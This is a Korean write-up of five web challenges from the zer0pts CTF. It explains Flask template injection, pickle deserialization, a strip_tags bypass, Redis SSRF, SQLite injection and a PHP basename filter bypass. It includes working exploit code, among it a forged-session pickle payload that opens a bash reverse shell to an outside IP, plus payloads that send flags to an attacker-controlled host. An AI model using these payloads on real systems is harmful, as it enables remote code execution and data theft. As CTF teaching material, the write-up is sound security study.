일본의 zer0pts 팀에서 주관한 CTF입니다.
[332pts] notepad (1st solve) This notepad is more useful than Windows one, right?
Flask SSTI and pickle Unserialize 를 주제로 한 문제입니다.
1 2 3 4 5 6 7 8 9 10 11 @app.errorhandler(404 ) def page_not_found (error ): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer" ) if referrer is None : referrer = '/' if not valid_url(referrer): referrer = '/' html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>' .format (referrer) return flask.render_template_string(html), 404
404 페이지 렌더링에 사용되는 page_not_found
함수에서는 Referer 값을 인자로 하여 문자열을 구성해 flask의 render_template_string
함수로 전달하고 있습니다.
따라서 SSTI 에 취약하며, {{"{\{config}\}"}}
값을 삽입하는 것으로 서버의 시크릿 키을 알아낼 수 있습니다.
1 2 3 4 5 6 7 8 // Request GET /x HTTP/1.1 Host: 3.112.201.75:8001 Referer: http://3.112.201.75:8001/?{{config}} Connection: close // Response <html > <head > <meta http-equiv ="Refresh" content ="3;URL=http://3.112.201.75:8001/?<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}>" > <title > 404 Not Found</title > </head > <body > Page not found. Redirecting...</body > </html >
위와 같은 요청을 통해 SECRET_KEY
가 b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'
라는 것을 알아냈으므로, session 값을 자유롭게 조작할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ... import pickle... @app.route('/note/<int:nid>' , methods=['GET' ] ) def notepad (nid=0 ): data = load() if not 0 <= nid < len (data): nid = 0 return flask.render_template('index.html' , data=data, nid=nid) ... def load (): """ Load saved notes """ try : savedata = flask.session.get('savedata' , None ) data = pickle.loads(base64.b64decode(savedata)) except : data = [{"date" : now(), "text" : "" , "title" : "*New Note*" }] return data ...
pickle unserialize 가 실행되는 곳은 load
함수로 세션에서 savedata
값을 가져와 base64 복호화 한 후 pickle.loads
를 실행하고 있습니다.
따라서 savedata 값을 조작해준 후, load 함수를 호출하는 /note/<int:nid>
경로를 요청하면 됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from flask.sessions import SecureCookieSessionInterfaceimport os, sys, pickle, base64, requestsCOMMAND = "bash -c 'bash -i >& /dev/tcp/15.165.0.114/8888 0>&1'" class PickleRce (object ): def __reduce__ (self ): return (os.system,(COMMAND,)) class App (object ): def __init__ (self ): self.secret_key = None app = App() app.secret_key = b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I' si = SecureCookieSessionInterface() serializer = si.get_signing_serializer(app) session = serializer.dumps({'savedata' :base64.b64encode(pickle.dumps(PickleRce()))}) requests.get('http://3.112.201.75:8001/note/1' , cookies = { 'session' : session });
위는 pickle unserialize 를 이용해 rce를 하는 poc입니다.
[653pts] MusicBlog (2nd solve) You can introduce favorite songs to friends with MusicBlog !
분류를 정하기 힘든 문제인데, client side attack 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const flag = 'zer0pts{<censored>}' ;const crawl = async (url ) => { console .log (`[+] Query! (${url} )` ); const page = await browser.newPage (); try { await page.setUserAgent (flag); await page.goto (url, { waitUntil : 'networkidle0' , timeout : 10 * 1000 , }); await page.click ('#like' ); } catch (err){ console .log (err); } await page.close (); console .log (`[+] Done! (${url} )` ) };
주어진 소스에서 worker.js 를 확인해 보면 페이지가 작성되면 관리자가 게시글에 들어가 like 버튼을 누른 후 봇이 종료됨을 확인할 수 있습니다.
플래그는 관리자의 user-agent 값에 포함되어 있네요.
1 2 3 4 $nonce = get_nonce ();header ("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types" );header ('X-Frame-Options: DENY' );header ('X-XSS-Protection: 1; mode=block' );
서버에는 csp 가 걸려있어, 외부로 요청을 보낼 수 없습니다.
1 2 3 4 5 6 function render_tags ($str ) { $str = preg_replace ('/\[\[(.+?)\]\]/' , '<audio controls src="\\1"></audio>' , $str ); $str = strip_tags ($str , '<audio>' ); return $str ; }
본 문제의 중요한 부분은 여기입니다. 게시글 작성 중에 사용되는 필터링 함수에서는, strip_tags
함수를 사용하고 있는데 본 함수에 존재하는 취약점을 통해 문제를 해결할 수 있습니다.
1 2 var_dump (strip_tags ('<a/udio>' , '<audio>' ));
audio 태그만 허용해야 하는 것이 정상이지만, strip_tags 는 태그 사이에 slash 가 들어가는 것을 허용하고 있습니다. 따라서 우리는 a 태그를 사용할 수 있게 됩니다.
1 2 3 4 5 6 7 8 9 10 <div class ="container" > <h1 class ="mt-4" > <span class ="badge badge-secondary" > Secret</span > titie here </h1 > <span class ="text-muted" > by posix <span class ="badge badge-love badge-pill" > ♥ 0</span > </span > <div class ="mt-3" > content here </div > <div class ="mt-3" > <a href ="like.php?id=5dfd06e9-741b-4fff-a3a5-4f5e8e79dac8" id ="like" class ="btn btn-love" > ♥ Like this post</a > </div > </div >
또한 content 가 들어가는 부분도 like 버튼보다 상위에 위치하고 있습니다.
1 <a/udio id="like" href="http://rwx.kr:8888">x
따라서 위와 같은 태그를 삽입해 주면, 공격자 서버로 접속하도록 할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from ec2-3-112-201-75.ap-northeast-1.compute.amazonaws.com 53510 received! GET / HTTP/1.1 Host: rwx.kr:8888 Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: zer0pts{M4sh1m4fr3sh!!} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://challenge/post.php?id=2116dfe6-5cf1-459a-b575-cd59b08cdfa5 Accept-Encoding: gzip, deflate Accept-Language: en-US
[435pts] urlapp application here
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 require 'sinatra' require 'uri' require 'socket' def connect () sock = TCPSocket.open("redis" , 6379 ) if not ping(sock) then exit end return sock end def query (sock, cmd) sock.write(cmd + "\r\n" ) end def recv (sock) data = sock.gets if data == nil then return nil elsif data[0 ] == "+" then return data[1 ..-1 ].strip elsif data[0 ] == "$" then if data == "$-1\r\n" then return nil end return sock.gets.strip end return nil end def ping (sock) query(sock, "ping" ) return recv(sock) == "PONG" end def set (sock, key, value) query(sock, "SET #{key} #{value} " ) return recv(sock) == "OK" end def get (sock, key) query(sock, "GET #{key} " ) return recv(sock) end before do sock = connect() set(sock, "flag" , File.read("flag.txt" ).strip) end get '/' do if params.has_key?(:q ) then q = params[:q ] if not (q =~ /^[0-9a-f]{16}$/ ) return end sock = connect() url = get(sock, q) redirect url end send_file 'index.html' end post '/' do if not params.has_key?(:url ) then return end url = params[:url ] if not (url =~ URI.regexp) then return end key = Random.urandom(8 ).unpack("H*" )[0 ] sock = connect() set(sock, key, url) "#{request.host} :#{request.port} /?q=#{key} " end
루비로 구성된 redis ssrf 문제입니다. 개행에 대한 처리가 되어있지 않으므로 flag 키에 저장된 값을 가져와 원하는 대로 저장해서 불러와주면 됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 // Request 1 POST / HTTP/1.1 Host: 3.112.201.75:8004 Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 117 url=http://rwx.kr eval "redis.call('set','e41cf0f94e050661','http://rwx.kr?'..redis.call('get','flag'));return 1;" 0 // Request 2 GET /?q=e41cf0f94e050661 HTTP/1.1 Host: 3.112.201.75:8004 Connection: close // Response HTTP/1.1 302 Found Content-Type: text/html;charset=utf-8 Location: http://rwx.kr?zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt} Content-Length: 0 X-Xss-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Server: WEBrick/1.6.0 (Ruby/2.7.0/2019-12-25) Date: Sun, 08 Mar 2020 21:40:28 GMT Connection: close
[755pts] phpNantokaAdmin phpNantokaAdmin is a management tool for SQLite.
Sqlite injection 문제입니다. 기존에 sqlite 에 대한 연구가 부족했기에 푸는데에 꽤나 오래 걸렸습니다.
본 문제를 해결하기 위해 응용되는 sqlite 문법은 총 3가지 입니다.
1 select [sql ] from sqlite_master;
첫번째는 square bracket 입니다. mssql 구문과의 호환성을 위해 sqlite 에서는 square bracket 을 다른 쿼트와 같은 기능을 할 수 있도록 지원하고 있습니다.
1 2 3 4 5 6 create table sometbl (somecol INT );insert into sometbl values (1 );select somecol from sometbl;/ / 1 select somecol somecoaaaal from sometbl;/ / 1
두번째는 잘못된 문법 사용에 대한 것인데, sqlite 에서는 컬럼 사이에 반점을 붙여주지 않으면 실제로 존재하는 컬럼인지에 관계없이 뒤에 오는 컬럼명을 무시합니다.
1 2 3 create table sometbl2 as select 2 ;select * from sometbl2;2
세번째는 create table .. as select ..
문입니다. 본 구문은 괄호 없이 테이블 생성을 가능하도록 합니다.
1 2 3 4 POST /?page=create HTTP/1.1 ... table_name=[aaa]as select [sql][&columns[0][name]=]from sqlite_master;&columns[0][type]=2
위에서 제시한 세가지 문법을 사용한 후, /?page=index
에 접속하면 플래그가 들어있는 테이블과 컬럼명을 확인할 수 있습니다. 이후에는 같은 방법으로 플래그를 읽으면 됩니다.
1 2 3 4 POST /?page=create HTTP/1.1 ... table_name=[aaa]as select [flag_2a2d04c3][&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2
[345pts] Can you guess it (2nd solve) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php include 'config.php' ; if (preg_match ('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); } if (isset ($_GET ['source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); } $secret = bin2hex (random_bytes (64 ));if (isset ($_POST ['guess' ])) { $guess = (string ) $_POST ['guess' ]; if (hash_equals ($secret , $guess )) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.' ; } } ?> <!doctype html> <html lang="en" > <head> <meta charset="utf-8" > <title>Can you guess it?</title> </head> <body> <h1>Can you guess it?</h1> <p>If your guess is correct, I'll give you the flag.</p> <p><a href="?source">Source</a></p> <hr> <?php if (isset($message)) { ?> <p><?= $message ?></p> <?php } ?> <form action="index.php" method="POST"> <input type="text" name="guess"> <input type="submit"> </form> </body> </html>
게싱을 가장한 필터 바이패스 문제입니다.
Path PHP_SELF / index.php /index.php index.php /index.php/config.php index.php/config.php
먼저 우리는 PHP_SELF
가 조작될 수 있는 값이라는 것을 알아야 합니다.
따라서 index.php 가 붙은 앞부분은 어쩔 수 없지만, 뒷부분은 자유롭게 컨트롤 가능하므로 basename 함수를 통해 highlight_file 함수 인자로 전달되므로 index.php/config.php
는 config.php
를 출력하게 만듭니다.
1 2 3 if (preg_match ('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); }
그러나 여기서 문제가 발생합니다. 정규식 필터링을 수행하고 있는데 이에 걸리면 즉시 종료됩니다.
1 2 php > var_dump (basename ("index.php/config.php/\xbb" ));
그러나 php는 우리를 배신하지 않습니다. basename 함수는 뒤에 오는 [\x80-\xff]
범위의 문자열에 대해서는 철저히 무시합니다.
1 2 3 <?php define ('FLAG' , 'zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}' );
따라서 위 주소를 통해 플래그를 읽어올 수 있습니다.